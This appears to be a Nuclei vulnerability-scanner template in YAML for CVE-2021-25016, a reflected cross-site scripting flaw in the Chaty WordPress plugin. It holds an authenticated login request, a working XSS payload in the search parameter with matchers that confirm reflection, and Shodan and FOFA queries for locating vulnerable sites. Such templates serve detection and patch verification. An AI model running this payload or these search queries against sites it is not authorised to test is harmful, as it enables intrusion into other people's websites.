61 lines
2.1 KiB
YAML
61 lines
2.1 KiB
YAML
id: CVE-2021-25016
|
|
|
|
info:
|
|
name: Chaty < 2.8.2 - Cross-Site Scripting
|
|
author: luisfelipe146
|
|
severity: medium
|
|
description: |
|
|
The Chaty WordPress plugin before 2.8.3 and Chaty Pro WordPress plugin before 2.8.2 do not sanitise and escape the search parameter before outputting it back in the admin dashboard, leading to a Reflected Cross-Site Scripting.
|
|
remediation: Fixed in 2.8.3
|
|
reference:
|
|
- https://wpscan.com/vulnerability/b5035987-6227-4fc6-bc45-1e8016e5c4c0
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25016
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25016
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-25016
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00106
|
|
epss-percentile: 0.43227
|
|
cpe: cpe:2.3:a:premio:chaty:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: premio
|
|
product: chaty
|
|
framework: wordpress
|
|
shodan-query: http.html:/wp-content/plugins/chaty/
|
|
fofa-query: body=/wp-content/plugins/chaty/
|
|
publicwww-query: "/wp-content/plugins/chaty/"
|
|
tags: cve2021,cve,wpscan,wordpress,wp-plugin,xss,authenticated,chaty,premio
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/admin.php?page=chaty-contact-form-feed&search=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "search=</script><img src onerror=alert(document.domain)>"
|
|
- "chaty_page_chaty"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100c82f86dcd3e8b4a15e3ddea6f2679ac006399a334f94d29004e7c499a456647c02207d7a1d690acd371e2575c5a5890894ee0a0e3ca1c7507d8e83c613349a67ec41:922c64590222798bb761d5b6d8e72950 |